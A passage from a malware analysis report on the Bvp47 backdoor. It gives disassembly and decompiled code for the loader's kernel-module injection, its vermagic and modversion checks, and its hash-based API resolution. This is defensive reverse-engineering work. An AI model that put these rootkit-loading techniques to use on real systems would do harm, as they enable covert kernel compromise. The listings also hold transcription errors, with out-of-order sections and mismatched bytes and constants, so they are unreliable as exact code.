LOAD:080597BC 8B 45 E4          mov     eax, [ebp+var_1C]
LOAD:080597BF 85 C0          test   eax, eax
LOAD:080597C1 74 08          jz     short loc_80597CB
LOAD:080597C3 89 04 24          mov     [esp], eax
LOAD:080597C6 E8 C5 70 00 00          call   serial_bind_0x44611a64_free
LOAD:080597CB
LOAD:080597CB          loc_80597CB:          ; CODE XREF: serial_bvp+711j
LOAD:080597CB 89 D8          mov     eax, ebx
LOAD:080597CD 8B 75 F8          mov     esi, [ebp+var_8]
LOAD:080597D0 8B 5D F4          mov     ebx, [ebp+var_C]
LOAD:080597D3 8B 7D FC          mov     edi, [ebp+var_4]
LOAD:080597D6 89 EC          mov     esp, ebp
LOAD:080597D8 5D          pop    ebp
LOAD:080597D9 C3          retn
LOAD:080597D9
LOAD:080597DA 8D B6 00 00 00 00 00  ; -----
LOAD:080597E0          align 10h
LOAD:080597E0
LOAD:080597E0          loc_80597E0:          ; CODE XREF: serial_bvp+6A1j
LOAD:080597E0 8D 45 E4          lea    eax, [ebp+var_1C]
LOAD:080597E3 89 44 24 08          mov     [esp+8], eax
LOAD:080597E7 8D 85 48 FF FF FF          lea    eax, [ebp+var_B8]
LOAD:080597ED 89 44 24 04          mov     [esp+4], eax
LOAD:080597F1 89 34 24          mov     [esp], esi
LOAD:080597F4 E8 C7 0E 00 00          call   serial_Bvp_sizeof
LOAD:080597F9 85 C0          test   eax, eax

```

00011750 08059750: serial\_bvp (Synchronized with Hex View-1)

## 5. Load the first module qmr

```
117 int v118; // [esp+8F8h] [ebp-30h] BYREF
118 unsigned int v119; // [esp+8FCh] [ebp-2Ch] BYREF
119 int v120; // [esp+900h] [ebp-28h] BYREF
120 int v121; // [esp+904h] [ebp-24h] BYREF
121 int v122; // [esp+908h] [ebp-20h] BYREF
122 int v123[4]; // [esp+90Ch] [ebp-1Ch] BYREF
123
124 v123[0] = 0;
125 if ( !g_elf_decode )
126 {
127     v3 = -1;
128     if ( !serial_bind_0x4743c911_xor(g_elf_buf, g_elf_len) )
129         goto LABEL_5;
130     g_elf_decode = 1;
131 }
132 v3 = serial_elf_getbaseinfo(info, g_elf_buf, g_elf_len);
133 if ( !v3 )
134 {
135     v3 = serial_Bvp_sizeof(info, v102, v123);
136     if ( !v3 )
137     {
138         v3 = -1;
139         v117 = 0;
140         v118 = 0;
141         v5 = serial_bind_0xa8a16d65_xcode(buffer, "qmr", 5); // 第一个内核模块
142         v120 = 0;
143         v119 = 0;
144         v6 = v5;
145         if ( v5 )
146         {
147             v7 = (int (__cdecl *)(int *, _DWORD, int))ELF_API_0x08052A40;
148             v8 = serial_bind_0xa8a16d65_xcode(dst, "Bvp_offsetof_CzZmodule_Mname", 32);
149             v3 = v7(&v120, 0, v8);
150             if ( !v3 )
151             {
152                 v9 = (int (__cdecl *)(unsigned int *, _DWORD, int))ELF_API_0x08052A40;
153                 v10 = serial_bind_0xa8a16d65_xcode(v100, "Bvp_const_MODULE_NAME_LEN", 28);
154                 v3 = v9(&v119, 0, v10);
155                 if ( !v3 )
156                 {
157                     if ( v120 == -1 || v119 == -1 )
158                     {
159                         v11 = v104;
160                     }
161                     else
162                     {
163                         v11 = v104;
164                         v12 = *(_DWORD *)(v104 + 40 * v105 + 16) + v103;
165                         if ( !*( _BYTE *) (v12 + v120) )
166                         {
```

## 6. Verify the distribution:

```
154 v10 = serial_bind_0xa8a160b_xcode(v100,  BVP_CONST_MODULE_NAME_LEN , 40);
155 v3 = v9(&v119, 0, v10);
156 if ( !v3 )
157 {
158     if ( v120 == -1 || v119 == -1 )
159     {
160         v11 = v104;
161     }
162     else
163     {
164         v11 = v104;
165         v12 = *(_DWORD*)(v104 + 40 * v105 + 16) + v103;
166         if ( !*(_BYTE*)(v12 + v120) )
167         {
168             (*(void (__cdecl **)(int, int, unsigned int))&strncpy_...)(v120 + v12, v6, v119);
169             v11 = v104;
170         }
171     }
172     v119 = *(_DWORD*)(v11 + 40 * v107 + 20);
173     v13 = serial_bind_0xa8a16d65_xcode(v94, "vermagic", 10);
174     v79 = 0;
175     v14 = *(int (__cdecl **)(int))&strlen_...)(v13);
176     v15 = *(_DWORD*)(v104 + 40 * v107 + 16) + v103;
177     if ( !v15 )
178         goto LABEL_41;
179     do
180     {
181         if ( !*(int (__cdecl **)(int, int, int))&strncpy_...)(v15, v13, v14) )
182         {
183             v16 = (const char*)(v15 + v14 + 1);
184             if ( *( _BYTE * )(v15 + v14) != 61 )
185                 v16 = v79;
186             v79 = v16;
187         }
188         v15 = sub_805A3C0(v15, &v119);
189     } while ( v15 );
190     v3 = -1;
191     if ( v79 )
192     {
193         if ( !strcmp(
194             v79,
195             "e86dd99a33cb9df96e793518f659746f8cc3d9ac39413871f5afd58d7d00685ab0c449d62aa35c865a133dff") ) // 核发行版本
196             //
197         {
198             serial_bind_0xbf3146c2_memset(v100, 0);
199             v3 = serial_bvp_config_();
200             if ( !v3 )
201             {
202                 serial_bind_0x79873eff_memmove(v79, v100, 80);
203                 v17 = (int (__cdecl **)(int *, _DWORD, int))ELF_API_0x88952A40;
204                 v18 = serial_bind_0xa8a16d65_xcode(v85, "Bvp_config_CONFIG_MOOVVERSIONS", 32);
205                 v3 = v17(&v117, 0, v18);
206                 if ( !v3 )
207                 {
208                     if ( v117 == 1 )
209                     {
210                         v119 = 0;
211                         v120 = 0;
212                         v121 = 0;
```

## 7. This release corresponds to the version in TSB:

4.1 Linux version 2.6.9-11.EL (bhcompile@decompose.build.redhat.com) (gcc version 3.4.3 20050227 (Red Hat 3.4.3-22)) #1 Fri May 20 18:17:57 EDT 2005	f75835f359ef8f26e8f58c113ec7fcd0*
4.2 Linux version 2.6.9-22.EL (bhcompile@porky.build.redhat.com) (gcc version 3.4.4 20050721 (Red Hat 3.4.4-2)) #1 Mon Sep 19 18:20:28 EDT 2005	fe80fc70fb99b7075e9e0fb0c770bfe*
4.3 Linux version 2.6.9-34.EL (bhcompile@hs20-bc1-7.build.redhat.com) (gcc version 3.4.5 20051201 (Red Hat 3.4.5-2)) #1 Fri Feb 24 16:44:51 EST 2006	3e7a8cc0c25e882570ca080d8349e92*
4.4 Linux version 2.6.9-42.EL (bhcompile@hs20-bc1-1.build.redhat.com) (gcc version 3.4.6 20060404 (Red Hat 3.4.6-2)) #1 Wed Jul 12 23:16:43 EDT 2006	b5b678cf805b3b09581303786d01d8cf*
4.5 Linux version 2.6.9-55.EL (brewbuilder@ls20-bc2-14.build.redhat.com) (gcc version 3.4.6 20060404 (Red Hat 3.4.6-3)) #1 Fri Apr 20 16:35:59 EDT 2007	df16eade798c73b3856695a695cb227a*
4.6 Linux version 2.6.9-67.EL (brewbuilder@ls20-bc1-14.build.redhat.com) (gcc version 3.4.6 20060404 (Red Hat 3.4.6-10)) #1 Wed Nov 7 13:41:13 EST 2007	ed4c725e19754e64cf046a245d265501*
4.7 Linux version 2.6.9-78.EL (brewbuilder@hs20-bc2-3.build.redhat.com) (gcc version 3.4.6 20060404 (Red Hat 3.4.6-10)) #1 Wed Jul 9 15:27:01 EDT 2008	28fbd4d2772ac82473cd562c5d9df3d6*
4.8 Linux version 2.6.9-89.EL (mockbuild@hs20-bc1-2.build.redhat.com) (gcc version 3.4.6 20060404 (Red Hat 3.4.6-11)) #1 Mon Apr 20 10:23:08 EDT 2009	8debe58a1f60754d305aa3bf01136a65*
4.1 Linux version 2.6.9-11.ELsmp (bhcompile@decompose.build.redhat.com) (gcc version 3.4.3 20050227 (Red Hat 3.4.3-22)) #1 SMP Fri May 20 18:26:27 EDT 2005	a71048d6369a67956428d0b02d2c752d*
4.2 Linux version 2.6.9-22.ELsmp (bhcompile@porky.build.redhat.com) (gcc version 3.4.4 20050721 (Red Hat 3.4.4-2)) #1 SMP Mon Sep 19 18:32:14 EDT 2005	87e51d3b1e3234e2f644b8f2b4ba3fa9*
4.3 Linux version 2.6.9-34.ELsmp (bhcompile@hs20-bc1-7.build.redhat.com) (gcc version 3.4.5 20051201 (Red Hat 3.4.5-2)) #1 SMP Fri Feb 24 16:54:53 EST 2006	3308280a57cdeeb232cf6d564c2fbfe*
4.4 Linux version 2.6.9-42.ELsmp (bhcompile@hs20-bc1-1.build.redhat.com) (gcc version 3.4.6 20060404 (Red Hat 3.4.6-2)) #1 SMP Wed Jul 12 23:27:17 EDT 2006	83c30b21b928f15fd959a389a064d32*
Linux version 2.6.9-42.0.10.ELsmp (brewbuilder@hs20-bc1-5.build.redhat.com) (gcc version 3.4.6 20060404 (Red Hat 3.4.6-3)) #1 SMP Fri Feb 16 17:17:21 EST 2007	1c8fd03a1962172bdc9b1a6bab306b68*
Linux version 2.6.9-42.0.10.ELsmp (brewbuilder@ls20-bc1-14.build.redhat.com) (gcc version 3.4.6 20060404 (Red Hat 3.4.6-3)) #1 SMP Fri Feb 16 17:13:42 EST 2007	7e27a73867db2a4e0f00d726a95689bee*
4.5 Linux version 2.6.9-55.ELsmp (brewbuilder@ls20-bc2-14.build.redhat.com) (gcc version 3.4.6 20060404 (Red Hat 3.4.6-3)) #1 SMP Fri Apr 20 17:03:35 EDT 2007	e5127b3e3b1639fc8d231c78bc5faa7*
4.6 Linux version 2.6.9-67.ELsmp (brewbuilder@ls20-bc1-14.build.redhat.com) (gcc version 3.4.6 20060404 (Red Hat 3.4.6-10)) #1 SMP Wed Nov 7 13:58:04 EST 2007	623d72d26f693c859ca0ab5bee1fc37*
4.7 Linux version 2.6.9-78.ELsmp (brewbuilder@hs20-bc2-3.build.redhat.com) (gcc version 3.4.6 20060404 (Red Hat 3.4.6-10)) #1 SMP Wed Jul 9 15:39:47 EDT 2008	23f8c30154c640c90305073ddcace4b6*
4.8 Linux version 2.6.9-89.ELsmp (mockbuild@hs20-bc1-2.build.redhat.com) (gcc version 3.4.6 20060404 (Red Hat 3.4.6-11)) #1 SMP Mon Apr 20 10:34:33 EDT 2009	7759efcea928377e9cd30d5ccab757b5*

## 8. Check 2:

```
v18 = serial_bind_0xa8a16d65_xcode(v85, "Bvp_config_CONFIG_MODVERSIONS", 32);
v3 = v17(&v117, 0, v18);
if ( !v3 )
{
  if ( v117 == 1 )
  {
    v119 = 0;
    v120 = 0;
    v121 = 0;
    v122 = 0;
    v34 = serial_bind_0xa8a16d65_xcode(v95, "Bvp_modversion_", 18);
    v35 = (int (__cdecl *)(unsigned int *, _DWORD, int))ELF_API_0x08052A40;
    v80 = v34;
    v36 = serial_bind_0xa8a16d65_xcode(v96, "Bvp_sizeof_zzmodversion_info", 31);
    v3 = v35(&v119, 0, v36);
    if ( v3 )
      goto LABEL_5;
    v37 = (int (__cdecl *)(int *, _DWORD, int))ELF_API_0x08052A40;
    v38 = serial_bind_0xa8a16d65_xcode(v97, "Bvp_offsetof_Czmodversion_info_Mname", 41);
    v3 = v37(&v120, 0, v38);
    if ( v3 )
      goto LABEL_5;
    v39 = (int (__cdecl *)(int *, _DWORD, int))ELF_API_0x08052A40;
    v40 = serial_bind_0xa8a16d65_xcode(v98, "Bvp_offsetof_Czmodversion_info_Mcrc", 40);
    v3 = v39(&v121, 0, v40);
    if ( v3 )
      goto LABEL_5;
    if ( v119 != -1 && v120 != -1 && v121 != -1 )
    {
      v41 = v104 + 40 * v108;
      v42 = *(_DWORD *)(v41 + 16) + v103;
      v43 = *(_DWORD *)(v41 + 20) / v119;
      if ( v43 )
      {
        do
        {
          v73 = v43;
          v44 = v42 + v3 * v119;
          v71 = v44 + v120;
          ((void (__cdecl *)(char *, _DWORD))serial_bind_0xbf3146c2_memset)(v100, 0);
          (*(void (__cdecl **)(char *, int, int))&strcpy_.)(v100, v80, 128);
          (*(void (__cdecl **)(char *, int))&strcat_.)(v100, v71);
          ((void (__cdecl *)(int *, _DWORD, char *))ELF_API_0x08052A40)(&v122, 0, v100);
          v43 = v73;
          v45 = (_DWORD *)(v121 + v44);
          if ( *v45 != 0x1DC665AE )
            goto LABEL_41;
          ++v3;
          *v45 = v122;
        }
        while ( v73 > v3 );
      }
    }
  }
}
```




11. Finally start loading the kernel modules:

```
417         goto LABEL_5;
418     }
419 }
420 v48 = (*(int (__cdecl **)(int, int, char *))&init_module_.)(v102[0], v102[1], v81);
421 v49 = *(_DWORD *)((*int (**)(void))&_errno_location_.);
422 if ( v49 != 1 || v48 != -1 )
423     v3 = v49;
424 }
425 }
426 }
427 }
428 }
```

## A Bypass Method for Self-Deletion

There are two calls to the unlink function in the main function. During the actual debugging process, the process can be violently modified to bypass the self-deletion of unlink:



## Hash-Based API Function Call

During the running process of Bvp47, a API function lookup table based on Hash value will be made.

1. The Hash table looks like following;

Address	Length	Type	String
LOAD:08060...	00000009	C	9a98cf3e
LOAD:08060...	00000009	C	29b5e7f0
LOAD:08060...	00000009	C	97413c51
LOAD:08060...	00000009	C	3955ced4
LOAD:08060...	00000009	C	278dec7a
LOAD:08060...	00000009	C	d1eb34ee
LOAD:08060...	00000009	C	191ea6d2
LOAD:08060...	00000009	C	4b6c29bf
LOAD:08060...	00000009	C	78f2b4b4
LOAD:08060...	00000009	C	1e30bd94
LOAD:08060...	00000009	C	da78b246
LOAD:08060...	00000009	C	8bdfc33f
LOAD:08060...	00000009	C	1a7a7356
LOAD:08060...	00000009	C	8c27e8f7
LOAD:08060...	00000009	C	92e5c0d8
LOAD:08060...	00000009	C	2cd7cd5e
LOAD:08060...	00000009	C	1bd919bb
LOAD:08060...	00000009	C	d0c6bfeb
LOAD:08060...	00000009	C	90bff64c
LOAD:08060...	00000009	C	531ab53f
LOAD:08060...	00000009	C	c949df79
LOAD:08060...	00000009	C	3bcaaa8c
LOAD:08060...	00000009	C	19282364
LOAD:08060...	00000009	C	ad776cf9
LOAD:08060...	00000009	C	0e56f7ab
LOAD:08060...	00000009	C	b219d9e5
LOAD:08060...	00000009	C	68cab24f
LOAD:08060...	00000009	C	b064f130
LOAD:08060...	00000009	C	388b7075
LOAD:08060...	00000009	C	7bbf2c88
LOAD:08060...	00000009	C	e6342921
LOAD:08060...	00000009	C	bfdc5cb1
LOAD:08060...	00000009	C	628daa78
LOAD:08060...	00000009	C	43f710cc
LOAD:08060...	00000009	C	7ba772b8
LOAD:08060...	00000009	C	59422f01
LOAD:08060...	00000009	C	25b78822
LOAD:08060...	00000009	C	47c2cb27
LOAD:08060...	00000009	C	89436336
LOAD:08060...	00000009	C	7f493fb8
LOAD:08060...	00000009	C	f265883c
LOAD:08060...	00000009	C	5b19bf75
LOAD:08060...	00000009	C	44624440
LOAD:08060...	00000009	C	c767b324
LOAD:08060...	00000009	C	e7a87594
LOAD:08060...	00000009	C	ea895d08
LOAD:08060...	00000009	C	10227454
LOAD:08060...	00000009	C	2e78d32a
LOAD:08060...	00000009	C	500b288d
LOAD:08060...	00000009	C	35ed46eb
LOAD:08060...	00000009	C	9d2e940a
LOAD:08060...	00000009	C	9a79a116
LOAD:08060...	00000009	C	37d03e4a
LOAD:08060...	00000009	C	3d8cec3c
LOAD:08060...	00000009	C	bebff213

## 2. Attempt to initialize in the sub\_804C2E0 function

```
.LOAD:0804C2E0
.LOAD:0804C2E0 55
.LOAD:0804C2E1 89 E5
.LOAD:0804C2E3 83 EC 18
.LOAD:0804C2E6 C7 44 24 08 78 00 00 00
.LOAD:0804C2EE C7 44 24 04 C0 32 06 08
.LOAD:0804C2F6 C7 04 24 20 4F 06 08
.LOAD:0804C2FD E8 EE 07 01 00
.LOAD:0804C302 C9
.LOAD:0804C303 C3
.LOAD:0804C303
.LOAD:0804C303

sub_804C2E0 proc near ; CODE XREF: sub_804A150:loc_804A2C8tp
push ebp
mov ebp, esp
sub esp, 18h
mov dword ptr [esp+8], 78h ; 'x' ; z
mov dword ptr [esp+4], offset g_bind_list ; y
mov dword ptr [esp], offset xx ; x
call serial_bind_0x7bbf2c88_
leave
retn
sub_804C2E0 endp
```

## 3. Further initialization in serial\_bind\_0x7bbf2c88\_ function

```
LOAD:0805CAF0 55
LOAD:0805CAF1 88 FF FF FF FF
LOAD:0805CAF6 89 E5
LOAD:0805CAF8 57
LOAD:0805CAF9 56
LOAD:0805Cafa 53
LOAD:0805CAFb 83 EC 2C
LOAD:0805CAFf 88 4D 08
LOAD:0805CB01 88 5D 0C
LOAD:0805CB04 88 7D 10
LOAD:0805CB07 85 C9
LOAD:0805CB09 74 6F
LOAD:0805CB0B 85 DB
LOAD:0805CB0D 74 6B
LOAD:0805CB0F 85 FF
LOAD:0805CB11 74 67
LOAD:0805CB13 88 01
LOAD:0805CB15 85 C0
LOAD:0805CB17 74 69
LOAD:0805CB19
LOAD:0805CB19
LOAD:0805CB19 31 F6
LOAD:0805CB1B EB 0D
LOAD:0805CB1B
LOAD:0805CB1D 8D 76 00
LOAD:0805CB20
LOAD:0805CB20
LOAD:0805CB20 83 C6 01
LOAD:0805CB23 83 C3 14
LOAD:0805CB26 39 F7
LOAD:0805CB28 76 4E
LOAD:0805CB2A
LOAD:0805CB2A
LOAD:0805CB2A
LOAD:0805CB2A 8B 43 08
LOAD:0805CB2D 83 E8 01
LOAD:0805CB30 83 F8 01
LOAD:0805CB33 77 EB
LOAD:0805CB35 8B 03
LOAD:0805CB37 83 C6 01
LOAD:0805CB3A 89 4D E0
LOAD:0805CB3D 89 04 24
LOAD:0805CB40 E8 6B 0F 00 00
LOAD:0805CB45 8B 4D E0
LOAD:0805CB48 89 45 E4
LOAD:0805CB4B 8B 73 E6 93 FB
LOAD:0805CB50 F7 65 E4
LOAD:0805CB53 8B 45 E4
LOAD:0805CB56 C1 EA 09
LOAD:0805CB59 69 D2 09 02 00 00
LOAD:0805CB5F 29 D0
LOAD:0805CB61 89 C2

push ebp
mov eax, 0FFFFFFFh
mov ebp, esp
push edi
push esi
push ebx
sub esp, 2Ch
mov ecx, [ebp+x]
mov ebx, [ebp+y]
mov edi, [ebp+z]
test ecx, ecx
jz short loc_805CB7A
test ebx, ebx
jz short loc_805CB7A
test edi, edi
jz short loc_805CB7A
mov eax, [ecx]
test eax, eax
jz short loc_805CB82

loc_805CB19: ; CODE XREF: serial_bind_0x7bbf2c88_+AF1j
xor esi, esi
jmp short loc_805CB2A

; -----
align 10h

loc_805CB20: ; CODE XREF: serial_bind_0x7bbf2c88_+431j
add esi, 1
add ebx, 14h
cmp edi, esi
jbe short loc_805CB78


loc_805CB2A: ; CODE XREF: serial_bind_0x7bbf2c88_+2B1j
; serial_bind_0x7bbf2c88_+851j
mov eax, [ebx+8]
sub eax, 1
cmp eax, 1
ja short loc_805CB20
mov eax, [ebx]
add esi, 1
mov [ebp+var_20], ecx
mov [esp], eax ; str_stext
call sub_805DAB0
mov ecx, [ebp+var_20]
mov [ebp+var_1C], eax
mov eax, 0FB93E673h
mul [ebp+var_1C]
mov eax, [ebp+var_1C]
shr edx, 9
imul edx, 209h
sub eax, edx
mov edx, eax
```

Pseudo C code:

```
1 int __cdecl serial_bind_0x7bbf2c88(int x, int y, int z)
2 {
3     int result; // eax
4     int v4; // ecx
5     int v5; // ebx
6     unsigned int v6; // esi
7     unsigned int v7; // eax
8     int v8; // eax
9     _BOOL1 v9; // zf
10    _DWORD *v10; // [esp+18h] [ebp-20h]
11
12    result = -1;
13    v4 = x;
14    v5 = y;
15    if ( x )
16    {
17        if ( y )
18        {
19            if ( z )
20            {
21                if ( *(_DWORD *)x
22                    || (v8 = serial_bind_0x227ffec5_malloc(2084), v4 = x,
23                        v9 = v8 == 0,
24                        *(_DWORD *)x = v8,
25                        result = 0xD0000013,
26                        !v9 )
27                )
28                {
29                    v6 = 0;
30                    do
31                    {
32                        while ( (unsigned int)*(_DWORD *)(v5 + 8) - 1 ) > 1 )
33                        {
34                            ++v6;
35                            v5 += 20;
36                            if ( z <= v6 )
37                                goto LABEL_9;
38                        }
39                        ++v6;
40                        v10 = (_DWORD *)v4;
41                        v7 = sub_805DAB0(*(char **)v5);
42                        v4 = (int)v10;
43                        *(_DWORD *)(v5 + 12) = *(_DWORD *)(*v10 + 4 * (v7 % 0x209));
44                        *(_DWORD *)(*v10 + 4 * (v7 % 0x209)) = v5;
45                        v5 += 20;
46                    }
47                    while ( z > v6 );
48                LABEL_9:
49                    result = 0;
50            }
51        }
52    }
53    return result;
54 }
```



### 3. A total of 6 pieces of shellcode



# 6. Conclusion

Although the function implementation of the Suctionchar\_Agent module is relatively simple, combining Bvp47\_loader and Dewdrop, we can conclude that Bvp47 has a good architectural capability in design, and attackers can flexibly combine other functional modules to achieve attack targets and reduce exposed surface of malicious code as much as possible. Although the NSA-sourced attack activities are highly secretive, through the analysis of forensic materials within the scope of our own data and the in-depth mining of open source data, we still hope to complete our puzzle and get a glimpse of the operation methods of the top international hacker teams.

# 7. Reference

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